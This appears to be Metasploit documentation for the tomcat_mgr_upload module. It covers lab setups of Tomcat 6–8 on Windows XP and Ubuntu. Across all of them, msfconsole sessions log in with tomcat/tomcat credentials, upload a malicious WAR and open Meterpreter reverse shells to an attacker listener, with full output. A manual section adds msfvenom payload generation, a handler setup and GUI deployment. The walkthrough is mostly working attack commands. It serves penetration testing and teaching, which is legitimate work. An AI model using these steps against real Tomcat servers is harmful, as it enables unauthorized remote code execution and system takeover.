421 lines
16 KiB
Markdown
421 lines
16 KiB
Markdown
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# Documentation Format
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This documentation is slightly different from the standard module documentation due to the variation in variables/privileges/versions that can affect how exploitation happens.
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This documentation is broken down by OS, Tomcat version, then privilege to show exploitation in each variation.
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# tomcat_mgr_deploy
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This module is VERY similar to `exploit/multi/http/tomcat_mgr_deploy`, the main difference is this uses a `POST` HTTP request through the GUI, instead of a `PUT` HTTP request. This module also automatically undeploys (clean up) the malicious app.
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## Windows (xp sp2)
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### Tomcat 6 (6.0.48)
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#### Setup
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1. Download and install the pre-req [Java7](http://www.oracle.com/technetwork/java/javase/downloads/jre7-downloads-1880261.html)
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2. Download and install [Tomcat6](http://apache.osuosl.org/tomcat/tomcat-6/v6.0.48/bin/apache-tomcat-6.0.48.exe)
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The install was default, other than adding a user during install. No other options were changed. The install assgined the new user the role `manager-gui`, which is Tomcat 7+ syntax.
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For this exploitation, it was changed to simply `manager`.
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#### Exploitation
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1. Edit `C:\Program Files\Apache Software Foundation\Tomcat 6.0\tomcat-users.xml` to add the following under the `<tomcat-users>` line:
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```
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<role rolename="manager"/>
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<user username="tomcat" password="tomcat" roles="manager"/>
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```
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2. Restart Tomcat service
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3. Exploit:
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```
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msf > use exploit/multi/http/tomcat_mgr_upload
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msf exploit(tomcat_mgr_upload) > set rport 8086
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rport => 8086
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msf exploit(tomcat_mgr_upload) > set HttpUsername tomcat
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HttpUsername => tomcat
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msf exploit(tomcat_mgr_upload) > set HttpPassword tomcat
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HttpPassword => tomcat
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msf exploit(tomcat_mgr_upload) > set rhost 192.168.2.108
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rhost => 192.168.2.108
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msf exploit(tomcat_mgr_upload) > set payload java/meterpreter/reverse_tcp
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payload => java/meterpreter/reverse_tcp
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msf exploit(tomcat_mgr_upload) > check
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[*] 192.168.2.108:8086 The target appears to be vulnerable.
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msf exploit(tomcat_mgr_upload) > set lhost 192.168.2.117
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lhost => 192.168.2.117
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msf exploit(tomcat_mgr_upload) > exploit
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[*] Started reverse TCP handler on 192.168.2.117:4444
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[*] Retrieving session ID and CSRF token...
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[*] Uploading and deploying ZyCAK8R6vkZdD7d8n5fiLOpXEfPsq7...
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[*] Executing ZyCAK8R6vkZdD7d8n5fiLOpXEfPsq7...
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[*] Undeploying ZyCAK8R6vkZdD7d8n5fiLOpXEfPsq7 ...
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[*] Sending stage (49409 bytes) to 192.168.2.108
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[*] Meterpreter session 1 opened (192.168.2.117:4444 -> 192.168.2.108:3387) at 2017-01-15 19:18:14 -0500
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meterpreter > sysinfo
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Computer : winxp
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OS : Windows XP 5.1 (x86)
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Meterpreter : java/windows
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```
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### Tomcat 7 (7.0.73)
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Of note, as of Tomcat 7, the permission role `manager` has been divided into several sub-roles. The `manager-gui` permission is required for this exploit.
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#### Setup
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1. Download and install the pre-req [Java7](http://www.oracle.com/technetwork/java/javase/downloads/jre7-downloads-1880261.html)
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2. Download and install [Tomcat7](http://apache.osuosl.org/tomcat/tomcat-7/v7.0.73/bin/apache-tomcat-7.0.73.exe)
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The install was default, other than adding a user during install. No other options were changed.
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#### Exploitation
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1. If a user was not defined at install, you will need to add a `manager-gui` permission user. Edit `C:\Program Files\Apache Software Foundation\Tomcat 7.0\tomcat-users.xml` to add the following under the `<tomcat-users>` line:
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```
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<role rolename="manager-gui"/>
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<user username="tomcat" password="tomcat" roles="manager-gui"/>
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```
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2. Restart the service if a user was added/changed
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3. Exploitation:
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```
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msf > use exploit/multi/http/tomcat_mgr_upload
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msf exploit(tomcat_mgr_upload) > set HttpUsername tomcat
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HttpUsername => tomcat
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msf exploit(tomcat_mgr_upload) > set HttpPassword tomcat
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HttpPassword => tomcat
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msf exploit(tomcat_mgr_upload) > set rhost 192.168.2.108
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rhost => 192.168.2.108
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msf exploit(tomcat_mgr_upload) > set payload java/meterpreter/reverse_tcp
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payload => java/meterpreter/reverse_tcp
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msf exploit(tomcat_mgr_upload) > set lhost 192.168.2.117
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lhost => 192.168.2.117
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msf exploit(tomcat_mgr_upload) > set rport 8087
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rport => 8087
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msf exploit(tomcat_mgr_upload) > check
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[*] 192.168.2.108:8087 The target appears to be vulnerable.
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msf exploit(tomcat_mgr_upload) > exploit
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[*] Started reverse TCP handler on 192.168.2.117:4444
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[*] Retrieving session ID and CSRF token...
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[*] Uploading and deploying vm5yNsROSQ...
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[*] Executing vm5yNsROSQ...
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[*] Undeploying vm5yNsROSQ ...
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[*] Sending stage (49409 bytes) to 192.168.2.108
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[*] Meterpreter session 2 opened (192.168.2.117:4444 -> 192.168.2.108:3427) at 2017-01-15 19:25:22 -0500
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meterpreter > sysinfo
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Computer : winxp
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OS : Windows XP 5.1 (x86)
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Meterpreter : java/windows
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```
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### Tomcat 8 (8.0.39)
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Of note, as of Tomcat 7, the permission role `manager` has been divided into several sub-roles. The `manager-gui` permission is required for this exploit.
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#### Setup
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1. Download and install the pre-req [Java7](http://www.oracle.com/technetwork/java/javase/downloads/jre7-downloads-1880261.html)
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2. Download and install [Tomcat8](http://apache.osuosl.org/tomcat/tomcat-8/v8.0.39/bin/apache-tomcat-8.0.39.exe)
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The install was default, other than adding a user during install. No other options were changed.
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#### Exploitation
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1. If a user was not defined at install, you will need to add a `manager-gui` permission user. Edit `C:\Program Files\Apache Software Foundation\Tomcat 8.0\tomcat-users.xml` to add the following under the `<tomcat-users` line:
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```
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<role rolename="manager-gui"/>
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<user username="tomcat" password="tomcat" roles="manager-gui"/>
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```
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2. Restart the service if a user was added/changed
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3. Exploitation:
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```
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msf > use exploit/multi/http/tomcat_mgr_upload
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msf exploit(tomcat_mgr_upload) > set rport 8088
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rport => 8088
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msf exploit(tomcat_mgr_upload) > set HttpUsername tomcat
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HttpUsername => tomcat
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msf exploit(tomcat_mgr_upload) > set HttpPassword tomcat
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HttpPassword => tomcat
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msf exploit(tomcat_mgr_upload) > set rhost 192.168.2.108
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rhost => 192.168.2.108
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msf exploit(tomcat_mgr_upload) > set payload java/meterpreter/reverse_tcp
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payload => java/meterpreter/reverse_tcp
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msf exploit(tomcat_mgr_upload) > set lhost 192.168.2.117
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lhost => 192.168.2.117
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msf exploit(tomcat_mgr_upload) > set verbose true
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verbose => true
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msf exploit(tomcat_mgr_upload) > check
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[*] Tomcat Manager found running on win platform and x86 architecture
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[!] No active DB -- Credential data will not be saved!
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[*] 192.168.2.108:8088 The target appears to be vulnerable.
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msf exploit(tomcat_mgr_upload) > exploit
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[*] Started reverse TCP handler on 192.168.2.117:4444
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[*] Retrieving session ID and CSRF token...
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[*] Finding CSRF token...
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[*] Uploading and deploying AiV6YUyTkEpIK5G87r0gmdf8fFH...
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[*] Uploading 6094 bytes as AiV6YUyTkEpIK5G87r0gmdf8fFH.war ...
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[*] Executing AiV6YUyTkEpIK5G87r0gmdf8fFH...
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[*] Executing /AiV6YUyTkEpIK5G87r0gmdf8fFH/u9TOPpZzy6dj21L.jsp...
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[*] Finding CSRF token...
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[*] Undeploying AiV6YUyTkEpIK5G87r0gmdf8fFH ...
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[*] Sending stage (49409 bytes) to 192.168.2.108
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[*] Meterpreter session 1 opened (192.168.2.117:4444 -> 192.168.2.108:3508) at 2017-01-15 19:38:29 -0500
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meterpreter > sysinfo
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Computer : winxp
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OS : Windows XP 5.1 (x86)
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Meterpreter : java/windows
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```
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## Linux
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### Tomcat6 (6.0.39) - Ubuntu server 14.04 64bit
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#### Setup
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1. Install Tomcat and dependencies: `sudo apt-get install tomcat6 tomcat6-admin`
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#### Exploit
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1. Edit `/etc/tomcat6/tomcat-users.xml` to add the following:
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```
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<role rolename="manager"/>
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<user username="tomcat" password="tomcat" roles="manager"/>
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```
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2. Restart the service if a user was added/changed: `sudo service tomcat6 restart`
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3. Exploit:
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```
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msf > use exploit/multi/http/tomcat_mgr_upload
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msf exploit(tomcat_mgr_upload) > set HttpUsername tomcat
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HttpUsername => tomcat
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msf exploit(tomcat_mgr_upload) > set HttpPassword tomcat
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HttpPassword => tomcat
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msf exploit(tomcat_mgr_upload) > set payload java/meterpreter/reverse_tcp
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payload => java/meterpreter/reverse_tcp
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msf exploit(tomcat_mgr_upload) > set verbose true
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verbose => true
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msf exploit(tomcat_mgr_upload) > set lhost 192.168.2.117
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lhost => 192.168.2.117
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msf exploit(tomcat_mgr_upload) > set rhost 192.168.2.156
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rhost => 192.168.2.156
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msf exploit(tomcat_mgr_upload) > set rport 8080
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rport => 8080
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msf exploit(tomcat_mgr_upload) > check
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[*] Tomcat Manager found running on linux platform and x64 architecture
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[!] No active DB -- Credential data will not be saved!
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[*] 192.168.2.156:8080 The target appears to be vulnerable.
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msf exploit(tomcat_mgr_upload) > exploit
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[*] Started reverse TCP handler on 192.168.2.117:4444
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[*] Retrieving session ID and CSRF token...
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[*] Finding CSRF token...
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[*] Uploading and deploying biytXntmq4Dtie0ulwwT...
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[*] Uploading 6082 bytes as biytXntmq4Dtie0ulwwT.war ...
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[!] No active DB -- Credential data will not be saved!
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[*] Executing biytXntmq4Dtie0ulwwT...
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[*] Executing /biytXntmq4Dtie0ulwwT/rmslIdWH4LwPZlMkHipzUah.jsp...
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[*] Finding CSRF token...
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[*] Undeploying biytXntmq4Dtie0ulwwT ...
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[*] Sending stage (49409 bytes) to 192.168.2.156
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[*] Meterpreter session 1 opened (192.168.2.117:4444 -> 192.168.2.156:55062) at 2017-01-15 20:29:42 -0500
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meterpreter > sysinfo
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Computer : Ubuntu14
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OS : Linux 4.2.0-27-generic (amd64)
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Meterpreter : java/linux
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```
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### Tomcat7 (7.0.68) - Ubuntu server 16.04 64bit
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Of note, as of Tomcat 7, the permission role `manager` has been divided into several sub-roles. Each sub role the user has will change which `path` variable for exploitation.
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#### Setup
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1. Install Tomcat and dependencies: `apt-get install tomcat7 tomcat7-admin`
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#### text/script Interface Exploitation
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1. Edit `/etc/tomcat7/tomcat-users.xml` to add:
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```
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<role rolename="manager-gui"/>
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<user username="tomcat" password="tomcat" roles="manager-gui"/>
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```
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2. Restart the service if a user was added/changed: `sudo service tomcat7 restart`
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3. Exploit:
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```
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msf > use exploit/multi/http/tomcat_mgr_upload
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msf exploit(tomcat_mgr_upload) > set HttpUsername tomcat
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HttpUsername => tomcat
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msf exploit(tomcat_mgr_upload) > set HttpPassword tomcat
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HttpPassword => tomcat
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msf exploit(tomcat_mgr_upload) > set payload java/meterpreter/reverse_tcp
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payload => java/meterpreter/reverse_tcp
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msf exploit(tomcat_mgr_upload) > set lhost 192.168.2.117
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lhost => 192.168.2.117
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msf exploit(tomcat_mgr_upload) > set verbose true
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verbose => true
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msf exploit(tomcat_mgr_upload) > set rhost 192.168.2.118
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rhost => 192.168.2.118
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msf exploit(tomcat_mgr_upload) > set rport 8087
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rport => 8087
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msf exploit(tomcat_mgr_upload) > check
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[*] Tomcat Manager found running on linux platform and x64 architecture
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[!] No active DB -- Credential data will not be saved!
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[*] 192.168.2.118:8087 The target appears to be vulnerable.
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msf exploit(tomcat_mgr_upload) > exploit
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[*] Started reverse TCP handler on 192.168.2.117:4444
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[*] Retrieving session ID and CSRF token...
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[*] Finding CSRF token...
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[*] Uploading and deploying QyjbnIqnn23FOe...
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[*] Uploading 6077 bytes as QyjbnIqnn23FOe.war ...
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[*] Executing QyjbnIqnn23FOe...
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[*] Executing /QyjbnIqnn23FOe/2NFgGA5fk1.jsp...
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[*] Finding CSRF token...
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[*] Undeploying QyjbnIqnn23FOe ...
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[*] Sending stage (49409 bytes) to 192.168.2.118
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[*] Meterpreter session 1 opened (192.168.2.117:4444 -> 192.168.2.118:33808) at 2017-01-15 20:04:21 -0500
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meterpreter > sysinfo
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Computer : tomcat
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OS : Linux 4.4.0-59-generic (amd64)
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Meterpreter : java/linux
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```
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### Tomcat8 (8.0.32) - Ubuntu server 16.04 64bit
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Of note, as of 7, the permission role 'manager' has been divided into several sub-roles. The `manager-gui` permission is required for this exploit.
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#### Setup
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1. `apt-get install tomcat8 tomcat8-admin`
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#### text/script Interface Exploitation
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1. Edit `/etc/tomcat8/tomcat-users.xml` to add:
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```
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<role rolename="manager-gui"/>
|
||
|
|
<user username="tomcat" password="tomcat" roles="manager-gui"/>
|
||
|
|
```
|
||
|
|
|
||
|
|
2. Restart the service if a user was added/changed: `sudo service tomcat8 restart`
|
||
|
|
|
||
|
|
3. Exploit:
|
||
|
|
|
||
|
|
```
|
||
|
|
msf > use exploit/multi/http/tomcat_mgr_upload
|
||
|
|
msf exploit(tomcat_mgr_upload) > set HttpUsername tomcat
|
||
|
|
HttpUsername => tomcat
|
||
|
|
msf exploit(tomcat_mgr_upload) > set HttpPassword tomcat
|
||
|
|
HttpPassword => tomcat
|
||
|
|
msf exploit(tomcat_mgr_upload) > set payload java/meterpreter/reverse_tcp
|
||
|
|
payload => java/meterpreter/reverse_tcp
|
||
|
|
msf exploit(tomcat_mgr_upload) > set lhost 192.168.2.117
|
||
|
|
lhost => 192.168.2.117
|
||
|
|
msf exploit(tomcat_mgr_upload) > set verbose true
|
||
|
|
verbose => true
|
||
|
|
msf exploit(tomcat_mgr_upload) > set rhost 192.168.2.118
|
||
|
|
rhost => 192.168.2.118
|
||
|
|
msf exploit(tomcat_mgr_upload) > set rport 8088
|
||
|
|
rport => 8088
|
||
|
|
msf exploit(tomcat_mgr_upload) > check
|
||
|
|
|
||
|
|
[*] Tomcat Manager found running on linux platform and x64 architecture
|
||
|
|
[*] 192.168.2.118:8088 The target appears to be vulnerable.
|
||
|
|
msf exploit(tomcat_mgr_upload) > exploit
|
||
|
|
|
||
|
|
[*] Started reverse TCP handler on 192.168.2.117:4444
|
||
|
|
[*] Retrieving session ID and CSRF token...
|
||
|
|
[*] Finding CSRF token...
|
||
|
|
[*] Uploading and deploying Bjf01M65XUROXL36wmIc85OmtY...
|
||
|
|
[*] Uploading 6092 bytes as Bjf01M65XUROXL36wmIc85OmtY.war ...
|
||
|
|
[*] Executing Bjf01M65XUROXL36wmIc85OmtY...
|
||
|
|
[*] Executing /Bjf01M65XUROXL36wmIc85OmtY/UbPmEhI1wkAf8Yj1rTohvPQWPIADy5.jsp...
|
||
|
|
[*] Finding CSRF token...
|
||
|
|
[*] Undeploying Bjf01M65XUROXL36wmIc85OmtY ...
|
||
|
|
[*] Sending stage (49409 bytes) to 192.168.2.118
|
||
|
|
[*] Meterpreter session 3 opened (192.168.2.117:4444 -> 192.168.2.118:33814) at 2017-01-15 20:08:13 -0500
|
||
|
|
|
||
|
|
meterpreter > sysinfo
|
||
|
|
Computer : tomcat
|
||
|
|
OS : Linux 4.4.0-59-generic (amd64)
|
||
|
|
Meterpreter : java/linux
|
||
|
|
```
|
||
|
|
|
||
|
|
# Manual Exploitation
|
||
|
|
|
||
|
|
## Create payload
|
||
|
|
This was performed on Windows XP with the following permissions as the user that was used to login:
|
||
|
|
|
||
|
|
* Tomcat 6.0.48: `manager`
|
||
|
|
* Tomcat 7.0.73: `manager-gui`
|
||
|
|
* Tomcat 8.0.39: `manager-gui`
|
||
|
|
|
||
|
|
```
|
||
|
|
/metasploit-framework# msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.2.117 LPORT=7777 -f war -o meterp.war
|
||
|
|
Payload size: 6072 bytes
|
||
|
|
Final size of war file: 6072 bytes
|
||
|
|
Saved as: meterp.war
|
||
|
|
```
|
||
|
|
|
||
|
|
## Setup Handler
|
||
|
|
|
||
|
|
```
|
||
|
|
msf > use exploit/multi/handler
|
||
|
|
msf exploit(handler) > set payload java/meterpreter/reverse_tcp
|
||
|
|
payload => java/meterpreter/reverse_tcp
|
||
|
|
msf exploit(handler) > set lhost 192.168.2.117
|
||
|
|
lhost => 192.168.2.117
|
||
|
|
msf exploit(handler) > set lport 7777
|
||
|
|
lport => 7777
|
||
|
|
msf exploit(handler) > exploit
|
||
|
|
|
||
|
|
[*] Started reverse TCP handler on 192.168.2.117:7777
|
||
|
|
[*] Starting the payload handler...
|
||
|
|
```
|
||
|
|
|
||
|
|
## Deploy
|
||
|
|
|
||
|
|
1. With a web browser, browse to `http://<ip>:<port>/manager/html`
|
||
|
|
2. Enter credentials (no default)
|
||
|
|
3. Under `Deploy` > `WAR file to deploy`, click browse to select `meterp.war`, click `Deploy`
|
||
|
|
4. `meterp` should now be listed under `Applications`, meaning it was successfully deployed.
|
||
|
|
5. Either click the link for `/meterp` or browse to `http://<ip>:<port>/meterp/`
|
||
|
|
|
||
|
|
## Callback
|
||
|
|
After browsing to that page, code execution will happen, and your callback will hit.
|
||
|
|
|
||
|
|
```
|
||
|
|
[*] Starting the payload handler...
|
||
|
|
[*] Sending stage (49409 bytes) to 192.168.2.108
|
||
|
|
[*] Meterpreter session 1 opened (192.168.2.117:7777 -> 192.168.2.108:1704) at 2017-01-14 14:53:37 -0500
|
||
|
|
|
||
|
|
meterpreter > sysinfo
|
||
|
|
Computer : winxp
|
||
|
|
OS : Windows XP 5.1 (x86)
|
||
|
|
Meterpreter : java/windows
|
||
|
|
```
|
||
|
|
|
||
|
|
## Manual Cleanup
|
||
|
|
|
||
|
|
This will NOT remove the meterpreter from Tomcat, click `Undeploy` within the `Application` list to remove `meterp` from Tomcat.
|